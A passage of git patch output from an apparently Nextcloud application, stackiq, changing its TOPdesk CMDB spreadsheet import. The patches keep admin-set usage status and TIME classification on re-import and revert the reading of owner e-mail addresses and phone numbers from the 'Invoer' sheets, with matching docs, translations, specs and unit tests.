de bronvelden en de leverancier van de applicatie, en de uitfaseerdatum en de functioneel eigenaar van het gebruik, met de waarden uit de export. De status, de TIME-classificatie en de interne notitie van het gebruik worden alleen gezet wanneer het gebruik wordt aangemaakt of het veld leeg is, zodat wijzigingen in stackiq blijven staan." } } diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 2923284e7..2be3deab4 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -36,7 +36,7 @@ }, "createOnly": { "module": { "type": "Application" }, - "usage": ["interneAnnotation"] + "usage": ["interneAnnotation", "status", "timeClassification"] }, "neverWritten": { "module": ["publicationDate", "depublicationDate"] diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index f392f0f98..ab5114f7c 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -126,7 +126,7 @@ Per row: 3. No match: create the module from the mapped data, plus `externalKey`, the create-only defaults (`type: Application`), and `publicationDate` (D6). A module found by `externalKey` counts as a match only when it has a usage whose consumer is this municipality, or no usage at all. `externalKey` is a module property, so on its own it is not proof of ownership: a module only another organisation uses is a conflict, reported as `skipped` and neither changed nor duplicated. The property also carries a write rule (`update: admin`), so only a Nextcloud admin can set it outside the import. 4. Match and `updateExisting=false`: skip with reason `exists`. -5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields stay as they are, unless the stored value is empty. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. +5. Match: merge the mapped fields onto the stored object. Every field the pack does not map stays as it is. Create-only fields (`module.type`; `usage.interneAnnotation`, `usage.status` and `usage.timeClassification`) stay as they are, unless the stored value is empty, so a status or classification set in stackiq survives a re-import. If the merged object equals the stored one, do not save, and report `unchanged`. Otherwise save, and report `updated`. The APPID is also stored as `externalNumber`, so it is visible on the module. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 1a10f5b85..97040eb7f 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -317,7 +317,7 @@ The service SHALL map "Vendor" (the maker of the software) through the manufactu ### Requirement: Each imported application SHALL have one usage that links it to the municipality (REQ-CMDB-009) -For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` SHALL be written only when the usage is created or the field is empty, so a note an admin wrote is never overwritten. +For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation`, `status` and `timeClassification` SHALL be written only when the usage is created or the field is empty, so a note, status or TIME classification an admin set in stackiq is never overwritten by a re-import; `startDateOutPhased`, `provider` and `businessOwner` follow the export on every update. The section's help text for "Update existing records" SHALL say which fields a re-import overwrites and which it only sets on create. #### Scenario: The usage records whether maintenance is arranged @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row from each sheet. @@ -335,6 +335,14 @@ For each imported module the service SHALL keep exactly one `usage` with `consum - **THEN** a usage SHALL exist for each imported module with `consumer` = that uuid and `module` = the module's uuid - **AND** that account SHALL see `Aangetekend Mailen` and `naamtest123` under "Software we use" +#### Scenario: A re-import keeps the status and TIME classification set in stackiq +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAReimportKeepsTheStatusAndTimeClassificationOfAUsage re-imports two rows and asserts an edited status and TIME classification stay, empty ones are filled, and the phase-out date follows the export, and tests/Unit/Service/Cmdb/CmdbImportProfileTest.php asserts the three create-only usage fields. + +- **GIVEN** the usage of APPID `1` for "Gemeente Voorbeeldstad" whose status an admin set to `To be phased out` and whose TIME classification to `Migrate`, and the usage of APPID `2` with neither +- **WHEN** a newer export with "Applicatie Status" `In productie`, "Classificatie" `Tolereren` and "End-of-Life Functioneel" `53359` for both is imported +- **THEN** the usage of APPID `1` SHALL keep `To be phased out` and `Migrate`, and SHALL get `startDateOutPhased` = `2046-02-01` +- **AND** the usage of APPID `2` SHALL get `In production` and `Tolerate` + #### Scenario: A re-import does not add a second usage @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testReimportingTheSameExportChangesNothing imports twice and asserts unchanged object counts, usages included. diff --git a/src/views/settings/sections/CmdbImport.vue b/src/views/settings/sections/CmdbImport.vue index e1c2d8824..0b2f85287 100644 --- a/src/views/settings/sections/CmdbImport.vue +++ b/src/views/settings/sections/CmdbImport.vue @@ -115,6 +115,14 @@ ) }}

+

+ {{ + t( + 'stackiq', + 'When on, a re-import overwrites the application\'s name, descriptions, application type, hosting model, BBN level, source fields and supplier, and the usage\'s phase-out date and business owner, with the values from the export. The usage\'s status, TIME classification and internal note are only set when the usage is created or the field is empty, so changes made in stackiq stay.', + ) + }} +

assertSame(['type' => 'Supplier', 'status' => 'Active', 'registeredBy' => 'Supplier'], $profile->pack(target: 'manufacturer')['defaults']); $this->assertSame(['type' => 'Municipality', 'status' => 'Active'], $profile->pack(target: 'municipality')['defaults']); $this->assertSame(['type' => 'Application'], $profile->createOnlyDefaults(target: 'module')); - $this->assertSame(['interneAnnotation'], $profile->createOnlyFields(target: 'usage')); + $this->assertSame(['interneAnnotation', 'status', 'timeClassification'], $profile->createOnlyFields(target: 'usage')); $this->assertSame(['publicationDate', 'depublicationDate'], $profile->neverWrittenOnUpdate(target: 'module')); $this->assertSame(['APPID', 'Applicatie Naam'], $profile->requiredColumns()); $this->assertSame('APPID', $profile->keyColumn()); diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 2fc79d561..c4cb9b48c 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1247,6 +1247,38 @@ public function testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated(): void { $this->assertCount(2, $this->objects(self::MODULE)); }//end testAModuleThisMunicipalityUsesOrNobodyUsesIsUpdated() + /** + * A re-import sets usage status and TIME classification only when the usage is new or the field is empty. + * + * An administrator's edit of either stays; the phase-out date is still updated from the export. + * + * @return void + */ + public function testAReimportKeepsTheStatusAndTimeClassificationOfAUsage(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->store[self::MODULE]['mod-1'] = ['id' => 'mod-1', 'name' => 'Applicatie 1', 'externalKey' => 'topdesk:muni-1:1']; + $this->store[self::MODULE]['mod-2'] = ['id' => 'mod-2', 'name' => 'Applicatie 2', 'externalKey' => 'topdesk:muni-1:2']; + $this->store[self::USAGE]['usage-1'] = [ + 'id' => 'usage-1', + 'consumer' => 'muni-1', + 'module' => 'mod-1', + 'status' => 'To be phased out', + 'timeClassification' => 'Migrate', + 'startDateOutPhased' => '2030-01-01', + ]; + $this->store[self::USAGE]['usage-2'] = ['id' => 'usage-2', 'consumer' => 'muni-1', 'module' => 'mod-2']; + $cells = ['Applicatie Status' => 'In productie', 'Classificatie' => 'Tolereren', 'End-of-Life Functioneel' => 53359]; + $rows = [$this->row(appId: '1', cells: $cells, row: 2), $this->row(appId: '2', cells: $cells, row: 3)]; + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $this->assertSame('To be phased out', $this->store[self::USAGE]['usage-1']['status'], 'an edited status stays'); + $this->assertSame('Migrate', $this->store[self::USAGE]['usage-1']['timeClassification'], 'an edited TIME classification stays'); + $this->assertSame('2046-02-01', $this->store[self::USAGE]['usage-1']['startDateOutPhased'], 'the phase-out date follows the export'); + $this->assertSame('In production', $this->store[self::USAGE]['usage-2']['status'], 'an empty status is filled'); + $this->assertSame('Tolerate', $this->store[self::USAGE]['usage-2']['timeClassification'], 'an empty TIME classification is filled'); + }//end testAReimportKeepsTheStatusAndTimeClassificationOfAUsage() + /** * A municipality uuid must be an organisation of type Municipality. * From 6eb1d4ee980cf88b713a01a1765ff26dbe3737a1 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:54:08 +0200 Subject: [PATCH 146/176] revert(cmdb-import): leave the owner's e-mail address and phone number out The CMDB sheets do not carry them; reading them from the "Invoer" sheets is left until the municipality asks for it. The Vendor fix stays. Co-Authored-By: Claude Opus 5.5 (1M context) --- docs/features/cmdb-import.md | 17 +- l10n/en.js | 2 - l10n/en.json | 2 - l10n/nl.js | 2 - l10n/nl.json | 2 - lib/Service/Cmdb/CmdbImportProfile.php | 74 +------ lib/Service/Cmdb/CmdbWorkbookReader.php | 208 ++---------------- lib/Service/CmdbExportImportService.php | 113 ++++------ lib/Service/StackiqContactSyncService.php | 68 ------ .../cmdb-import/topdesk-business-owner.json | 8 +- lib/Settings/cmdb-import/topdesk-profile.json | 10 +- openspec/changes/cmdb-export-import/design.md | 9 +- .../specs/cmdb-export-import/spec.md | 12 +- .../Service/Cmdb/CmdbImportProfileTest.php | 22 +- .../Service/Cmdb/CmdbWorkbookReaderTest.php | 61 ----- .../Service/CmdbExportImportServiceTest.php | 108 +-------- 16 files changed, 82 insertions(+), 636 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 169017ab1..9a778ac20 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -86,11 +86,8 @@ the same organisation. ## The file -The import reads the two CMDB sheets of the export. From the `Invoer` sheet -each CMDB sheet is derived from (`Invoer AIA data` for Onbeh, `Invoer APP -data` for Beheerde) it reads only the owner's e-mail address and phone number, -found by `Middel-ID` = `Applicatie Code` (see [Owners](#owners)). All other -sheets and columns are ignored: +The import reads the two CMDB sheets of the export and ignores all others, +including the `Invoer` sheets they are derived from: | Sheet | What it holds | Recorded on the usage | |---|---|---| @@ -150,7 +147,6 @@ date stored there, including one set by hand. | End-of-Life Functioneel | usage phase-out date | Excel date, stored as is | | (the sheet), Cluster, Applicatie Eigenaar (Afdeling) | usage internal annotation | `Beheer geregeld: ja` or `nee`, the cluster and the department, joined with ` / `; written only when the usage is new or the note is empty | | Applicatie Eigenaar (Persoon), Applicatie Eigenaar (Functie) | usage business owner (contact person) | see [Owners](#owners) | -| Eigenaar e-mail, Eigenaar mobiel nummer (on the `Invoer` sheet) | the owner's contact in Nextcloud Contacts only | see [Owners](#owners) | Columns not in this table are not read at all. That includes Hostingpartij and Leverancier (not mapped yet), the BIV and value columns (Beschikbaarheid, @@ -219,13 +215,8 @@ administrator (FB contactpersoon) is not read. The identity is kept in **Nextcloud Contacts**, in the first writable address book of the administrator who runs the import, the same as every -other stackiq contact. The e-mail address and phone number come from the -owner's row on the `Invoer` sheet. A contact is found by e-mail address, -else by an exact match on the name; with an e-mail address, a contact with -the same name but another address is someone else and is not taken. A found -contact gets the e-mail address and phone number it lacks; one it has is -never replaced. No match creates the contact. The e-mail address and phone -number are kept in Contacts only, never on a stackiq object. The +other stackiq contact. The CMDB sheets have no e-mail address, so a contact +is found by an exact match on the name, and created when there is none. The stackiq contact person object only holds the link to that contact, the role and the municipality. The same owner on several rows is one contact person. diff --git a/l10n/en.js b/l10n/en.js index 5527d6d47..68441f21f 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1050,8 +1050,6 @@ OC.L10N.register( "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optional column \"%s\" not found", - "Sheet \"%1$s\" not found; %2$s not read": "Sheet \"%1$s\" not found; %2$s not read", - "Column \"%1$s\" not found; %2$s not read": "Column \"%1$s\" not found; %2$s not read", "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", diff --git a/l10n/en.json b/l10n/en.json index b38502ee3..39231df01 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1049,8 +1049,6 @@ "The workbook has neither of the sheets %s.": "The workbook has neither of the sheets %s.", "Column \"%1$s\": %2$s": "Column \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optional column \"%s\" not found", - "Sheet \"%1$s\" not found; %2$s not read": "Sheet \"%1$s\" not found; %2$s not read", - "Column \"%1$s\" not found; %2$s not read": "Column \"%1$s\" not found; %2$s not read", "Owner from column \"%s\" could not be resolved": "Owner from column \"%s\" could not be resolved", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Owner from column \"%s\" could not be resolved in Nextcloud Contacts", "Owners skipped: Nextcloud Contacts is unavailable": "Owners skipped: Nextcloud Contacts is unavailable", diff --git a/l10n/nl.js b/l10n/nl.js index 0ecbcad02..f07544ca6 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1120,8 +1120,6 @@ OC.L10N.register( "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", - "Sheet \"%1$s\" not found; %2$s not read": "Tabblad \"%1$s\" niet gevonden; %2$s niet ingelezen", - "Column \"%1$s\" not found; %2$s not read": "Kolom \"%1$s\" niet gevonden; %2$s niet ingelezen", "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", diff --git a/l10n/nl.json b/l10n/nl.json index 0c90f1243..f50c85c5c 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1119,8 +1119,6 @@ "The workbook has neither of the sheets %s.": "De werkmap bevat geen van de tabbladen %s.", "Column \"%1$s\": %2$s": "Kolom \"%1$s\": %2$s", "Optional column \"%s\" not found": "Optionele kolom \"%s\" niet gevonden", - "Sheet \"%1$s\" not found; %2$s not read": "Tabblad \"%1$s\" niet gevonden; %2$s niet ingelezen", - "Column \"%1$s\" not found; %2$s not read": "Kolom \"%1$s\" niet gevonden; %2$s niet ingelezen", "Owner from column \"%s\" could not be resolved": "Eigenaar uit kolom \"%s\" kon niet worden gevonden", "Owner from column \"%s\" could not be resolved in Nextcloud Contacts": "Eigenaar uit kolom \"%s\" kon niet worden gevonden in Nextcloud Contacten", "Owners skipped: Nextcloud Contacts is unavailable": "Eigenaren overgeslagen: Nextcloud Contacten is niet beschikbaar", diff --git a/lib/Service/Cmdb/CmdbImportProfile.php b/lib/Service/Cmdb/CmdbImportProfile.php index 9237c6a2b..d514b6c6d 100644 --- a/lib/Service/Cmdb/CmdbImportProfile.php +++ b/lib/Service/Cmdb/CmdbImportProfile.php @@ -212,11 +212,10 @@ public function maxRowsPerSheet(): int { }//end maxRowsPerSheet() /** - * The source sheets, each with the constants it adds to its rows, the - * pack columns it is known not to have, and the sheet it looks columns up in. + * The source sheets, each with the constants it adds to its rows and the + * pack columns it is known not to have. * - * @return array, absentColumns: array, - * lookup: array{sheet: string, on: string, key: string, columns: array}|null}> + * @return array, absentColumns: array}> * * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 */ @@ -241,71 +240,12 @@ public function sheets(): array { $absent = array_values(array_map('strval', $sheet['absentColumns'])); } - $sheets[] = [ - 'name' => $sheet['name'], - 'constants' => $constants, - 'absentColumns' => $absent, - 'lookup' => self::parseLookup(lookup: ($sheet['lookup'] ?? null)), - ]; + $sheets[] = ['name' => $sheet['name'], 'constants' => $constants, 'absentColumns' => $absent]; }//end foreach return $sheets; }//end sheets() - /** - * A sheet's lookup, or null when it is incomplete. - * - * A lookup reads `columns` from the row of `sheet` whose `key` column - * holds the value of the source row's `on` column. The TOPdesk CMDB sheets - * are formulas over the "Invoer" sheets, which carry the owner's e-mail - * address and phone number that the CMDB sheets leave out. - * - * @param mixed $lookup The profile's `lookup` of a sheet. - * - * @return array{sheet: string, on: string, key: string, columns: array}|null - */ - private static function parseLookup(mixed $lookup): ?array { - if (is_array($lookup) === false) { - return null; - } - - $columns = []; - if (is_array($lookup['columns'] ?? null) === true) { - $columns = array_values(array_filter(array_map('strval', $lookup['columns']), static fn (string $column): bool => $column !== '')); - } - - foreach (['sheet', 'on', 'key'] as $field) { - if (is_string($lookup[$field] ?? null) === false || $lookup[$field] === '') { - return null; - } - } - - if ($columns === []) { - return null; - } - - return ['sheet' => $lookup['sheet'], 'on' => $lookup['on'], 'key' => $lookup['key'], 'columns' => $columns]; - }//end parseLookup() - - /** - * The lookup of a source sheet, or null when it has none. - * - * @param string $sheetName The source sheet name. - * - * @return array{sheet: string, on: string, key: string, columns: array}|null - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 - */ - public function lookup(string $sheetName): ?array { - foreach ($this->sheets() as $sheet) { - if ($sheet['name'] === $sheetName) { - return $sheet['lookup']; - } - } - - return null; - }//end lookup() - /** * The names of the source sheets. * @@ -592,12 +532,6 @@ public function referencedColumns(): array { $this->idColumns() ); - foreach ($this->sheets() as $sheet) { - if ($sheet['lookup'] !== null) { - $columns[] = $sheet['lookup']['on']; - } - } - foreach (self::TARGETS as $target) { foreach (($this->pack(target: $target)['fieldMappings'] ?? []) as $mapping) { $columns[] = (string)($mapping['source'] ?? ''); diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php index 03ac37c6a..bad2fd70b 100644 --- a/lib/Service/Cmdb/CmdbWorkbookReader.php +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -26,12 +26,7 @@ * to an empty cell, so it yields an empty cell too. * 5. Rows whose kept cells are all empty are dropped; more non-empty rows than * the profile allows stops the import with `TOO_MANY_ROWS` (422). - * 6. A source sheet may name a lookup sheet (the profile's `lookup`): its - * listed columns are added to every source row from the lookup row whose - * key column holds the source row's `on` value. Only the key and the listed - * columns of a lookup sheet are read. A lookup sheet or key column the - * workbook lacks is an import warning, not an error. - * 7. Memory is bounded before PhpSpreadsheet parses a sheet: a package that + * 6. Memory is bounded before PhpSpreadsheet parses a sheet: a package that * unpacks to more than the profile's `maxUncompressedBytes` is * `WORKBOOK_TOO_LARGE` (413), and a source sheet whose last used row lies * beyond twice the row limit is `TOO_MANY_ROWS`. A read filter then @@ -142,9 +137,7 @@ public function isAvailable(): bool { * @param CmdbImportProfile $profile The import profile. * * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` - * (list of {sheet, message} with `column` for a missing optional - * column, or `lookupSheet`/`lookupKey` and `lookupColumns` for a - * lookup that could not be read) and `date1904` (bool). + * (list of {sheet, message}) and `date1904` (bool). * * @throws CmdbImportException WORKBOOK_TOO_LARGE, READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, * MISSING_COLUMN or TOO_MANY_ROWS. @@ -182,35 +175,31 @@ public function read(string $path, CmdbImportProfile $profile): array { ); } - ['lookups' => $lookups, 'warnings' => $lookupWarnings] = self::presentLookups(profile: $profile, sourceSheets: $present, available: $available); - $loaded = array_values(array_unique(array_merge($present, array_column($lookups, 'sheet')))); - $limit = $profile->maxRowsPerSheet(); $lastRow = self::lastReadableRow(limit: $limit); - $this->assertRowSpan(path: $path, sheetNames: $loaded, lastRow: $lastRow, limit: $limit); + $this->assertRowSpan(path: $path, sheetNames: $present, lastRow: $lastRow, limit: $limit); - $headers = $this->load(path: $path, sheetNames: $loaded, filter: new CmdbReadFilter(lastRow: 1)); + $headers = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: 1)); try { $resolved = $this->resolveSheets(spreadsheet: $headers, sheetNames: $present, profile: $profile); - ['lookups' => $lookups, 'columns' => $lookupColumns, 'warnings' => $keyWarnings] = $this->resolveLookups(spreadsheet: $headers, lookups: $lookups); } finally { $headers->disconnectWorksheets(); } - $warnings = array_merge($resolved['warnings'], $lookupWarnings, $keyWarnings); - $letters = array_map(static fn (array $columns): array => array_keys($columns), array_merge($lookupColumns, $resolved['columns'])); - $spreadsheet = $this->load(path: $path, sheetNames: $loaded, filter: new CmdbReadFilter(lastRow: $lastRow, columns: $letters)); + $letters = array_map(static fn (array $columns): array => array_keys($columns), $resolved['columns']); + $spreadsheet = $this->load(path: $path, sheetNames: $present, filter: new CmdbReadFilter(lastRow: $lastRow, columns: $letters)); try { - $indexes = []; - foreach ($lookupColumns as $sheetName => $columns) { - $indexes[$sheetName] = self::indexRows( - rows: $this->readRows(worksheet: $spreadsheet->getSheetByName($sheetName), columns: $columns, sheetName: $sheetName, limit: $limit), - key: $lookups[$sheetName]['key'] + $rows = []; + foreach ($present as $sheetName) { + $sheetRows = $this->readRows( + worksheet: $spreadsheet->getSheetByName($sheetName), + columns: $resolved['columns'][$sheetName], + sheetName: $sheetName, + limit: $limit ); + array_push($rows, ...$sheetRows); } - $rows = $this->readSourceRows(spreadsheet: $spreadsheet, columns: $resolved['columns'], profile: $profile, indexes: $indexes); - $date1904 = false; if (method_exists($spreadsheet, 'getExcelCalendar') === true) { $date1904 = ((int)$spreadsheet->getExcelCalendar() === 1904); @@ -219,174 +208,9 @@ public function read(string $path, CmdbImportProfile $profile): array { $spreadsheet->disconnectWorksheets(); } - return ['rows' => $rows, 'importWarnings' => $warnings, 'date1904' => $date1904]; + return ['rows' => $rows, 'importWarnings' => $resolved['warnings'], 'date1904' => $date1904]; }//end read() - /** - * The rows of every source sheet, with the columns their lookup adds. - * - * @param object $spreadsheet The workbook, loaded through the data filter. - * @param array> $columns Per present source sheet, column letter => column name. - * @param CmdbImportProfile $profile The import profile. - * @param array>> $indexes Per lookup sheet, its rows by normalised key. - * - * @return array, uncached: array}> - * - * @throws CmdbImportException TOO_MANY_ROWS. - */ - private function readSourceRows(object $spreadsheet, array $columns, CmdbImportProfile $profile, array $indexes): array { - $rows = []; - foreach ($columns as $sheetName => $sheetColumns) { - $sheetRows = $this->readRows( - worksheet: $spreadsheet->getSheetByName($sheetName), - columns: $sheetColumns, - sheetName: $sheetName, - limit: $profile->maxRowsPerSheet() - ); - $lookup = $profile->lookup(sheetName: $sheetName); - if ($lookup !== null && isset($indexes[$lookup['sheet']]) === true) { - $sheetRows = self::addLookedUp(rows: $sheetRows, lookup: $lookup, index: $indexes[$lookup['sheet']]); - } - - array_push($rows, ...$sheetRows); - } - - return $rows; - }//end readSourceRows() - - /** - * The lookups of the present source sheets whose lookup sheet the workbook holds, by lookup sheet. - * - * @param CmdbImportProfile $profile The import profile. - * @param array $sourceSheets The present source sheets. - * @param array $available Every sheet of the workbook. - * - * @return array{lookups: array>, warnings: array>} - */ - private static function presentLookups(CmdbImportProfile $profile, array $sourceSheets, array $available): array { - $lookups = []; - $warnings = []; - foreach ($sourceSheets as $sheetName) { - $lookup = $profile->lookup(sheetName: $sheetName); - if ($lookup === null) { - continue; - } - - if (in_array($lookup['sheet'], $available, true) === false) { - $warnings[] = [ - 'sheet' => $sheetName, - 'lookupSheet' => $lookup['sheet'], - 'lookupColumns' => $lookup['columns'], - 'message' => sprintf('Sheet "%s" not found; %s not read', $lookup['sheet'], implode(', ', $lookup['columns'])), - ]; - continue; - } - - // Two source sheets that look up in one sheet read its columns once. - $columns = array_merge(($lookups[$lookup['sheet']]['columns'] ?? []), $lookup['columns']); - $lookups[$lookup['sheet']] = array_merge($lookup, ['columns' => array_values(array_unique($columns))]); - } - - return ['lookups' => $lookups, 'warnings' => $warnings]; - }//end presentLookups() - - /** - * Resolve the key and listed columns of every lookup sheet; a sheet without its key column is dropped. - * - * @param object $spreadsheet The workbook, loaded with the header row only. - * @param array}> $lookups By lookup sheet. - * - * @return array{lookups: array>, columns: array>, warnings: array>} - */ - private function resolveLookups(object $spreadsheet, array $lookups): array { - $columns = []; - $warnings = []; - foreach ($lookups as $sheetName => $lookup) { - $resolved = $this->resolveColumns( - worksheet: $spreadsheet->getSheetByName($sheetName), - referenced: array_merge([$lookup['key']], $lookup['columns']) - ); - if (in_array($lookup['key'], $resolved, true) === false) { - $warnings[] = [ - 'sheet' => $sheetName, - 'lookupKey' => $lookup['key'], - 'lookupColumns' => $lookup['columns'], - 'message' => sprintf('Column "%s" not found; %s not read', $lookup['key'], implode(', ', $lookup['columns'])), - ]; - unset($lookups[$sheetName]); - continue; - } - - $columns[$sheetName] = $resolved; - } - - return ['lookups' => $lookups, 'columns' => $columns, 'warnings' => $warnings]; - }//end resolveLookups() - - /** - * The rows of a lookup sheet by their normalised key; the first row with a key wins. - * - * @param array, uncached: array}> $rows The lookup rows. - * @param string $key The key column. - * - * @return array> Normalised key => cells. - */ - private static function indexRows(array $rows, string $key): array { - $index = []; - foreach ($rows as $row) { - $value = self::lookupKey(value: ($row['cells'][$key] ?? null)); - if ($value !== '' && isset($index[$value]) === false) { - $index[$value] = $row['cells']; - } - } - - return $index; - }//end indexRows() - - /** - * Add the looked-up columns to the rows whose `on` value a lookup row holds. - * - * A looked-up column fills only a cell the source row leaves empty. - * - * @param array, uncached: array}> $rows The source rows. - * @param array{sheet: string, on: string, key: string, columns: array} $lookup The source sheet's lookup. - * @param array> $index The lookup rows by normalised key. - * - * @return array, uncached: array}> - */ - private static function addLookedUp(array $rows, array $lookup, array $index): array { - foreach ($rows as $position => $row) { - $found = ($index[self::lookupKey(value: ($row['cells'][$lookup['on']] ?? null))] ?? null); - if ($found === null) { - continue; - } - - foreach ($lookup['columns'] as $column) { - $current = ($row['cells'][$column] ?? null); - if (($current === null || trim((string)$current) === '') && array_key_exists($column, $found) === true) { - $rows[$position]['cells'][$column] = $found[$column]; - } - } - } - - return $rows; - }//end addLookedUp() - - /** - * A lookup key: trimmed, whitespace collapsed, lower case; '' for an empty or non-scalar value. - * - * @param mixed $value The cell value. - * - * @return string - */ - private static function lookupKey(mixed $value): string { - if (is_scalar($value) === false) { - return ''; - } - - return mb_strtolower(trim((string)preg_replace('/\s+/u', ' ', (string)$value))); - }//end lookupKey() - /** * The last row number the data pass reads. * @@ -585,7 +409,7 @@ private function resolveSheets(object $spreadsheet, array $sheetNames, CmdbImpor } } - $skip = array_merge($required, $profile->absentColumns(sheetName: $sheetName), ($profile->lookup(sheetName: $sheetName)['columns'] ?? [])); + $skip = array_merge($required, $profile->absentColumns(sheetName: $sheetName)); array_push($warnings, ...self::missingOptionalColumns(sheetName: $sheetName, mapped: $mapped, columns: $columns, skip: $skip)); $columnsPerSheet[$sheetName] = $columns; } diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index 2939b1ac2..cb211ef9a 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -654,7 +654,7 @@ private function failRow(CmdbImportReport $report, array $entry, string $step, T /** * Translate the reader's import-level warnings. * - * @param array> $warnings The reader warnings: sheet, message, and column, or lookupSheet/lookupKey with lookupColumns. + * @param array $warnings The reader warnings. * * @return array * @@ -664,13 +664,8 @@ private function translateImportWarnings(array $warnings): array { $translated = []; foreach ($warnings as $warning) { $message = $warning['message']; - $columns = implode(', ', ($warning['lookupColumns'] ?? [])); if (isset($warning['column']) === true) { $message = $this->l10n->t('Optional column "%s" not found', [$warning['column']]); - } else if (isset($warning['lookupSheet']) === true) { - $message = $this->l10n->t('Sheet "%1$s" not found; %2$s not read', [$warning['lookupSheet'], $columns]); - } else if (isset($warning['lookupKey']) === true) { - $message = $this->l10n->t('Column "%1$s" not found; %2$s not read', [$warning['lookupKey'], $columns]); } $translated[] = ['sheet' => $warning['sheet'], 'message' => $message]; @@ -1152,16 +1147,14 @@ private function resolveOwners(array $values, int $rowNumber, string $municipali /** * Resolve the Nextcloud contact of an owner identity. * - * The owner is found by e-mail address, else as the contact whose display - * name is exactly the owner's name (case-insensitive); with an e-mail - * address, only a contact without one matches by name, so a namesake with - * another address is not taken. A found contact gets the e-mail address - * and phone number it lacks, never a replacement for one it has. No match - * creates the contact through StackiqContactSyncService, in the importing - * admin's dedicated "Stackiq CMDB owners" address book, never in the - * admin's own address book. + * With an e-mail address, StackiqContactSyncService matches on it or + * creates the contact. A new contact goes into the importing admin's + * dedicated "Stackiq CMDB owners" address book, never into the admin's + * own address book. Without one, only a contact whose display name is + * exactly the owner's name (case-insensitive) is reused, so an owner + * known by name alone is not created again on every import. * - * @param array $identity name, role, email and telefoonnummer from the owner pack. + * @param array $identity name, email and role from the owner pack. * * @return string|null The contact UID, or null. * @@ -1171,7 +1164,6 @@ private function resolveContactUid(array $identity): ?string { $parts = self::splitPersonName(name: (string)$identity['name']); $displayName = trim($parts['voornaam'] . ' ' . 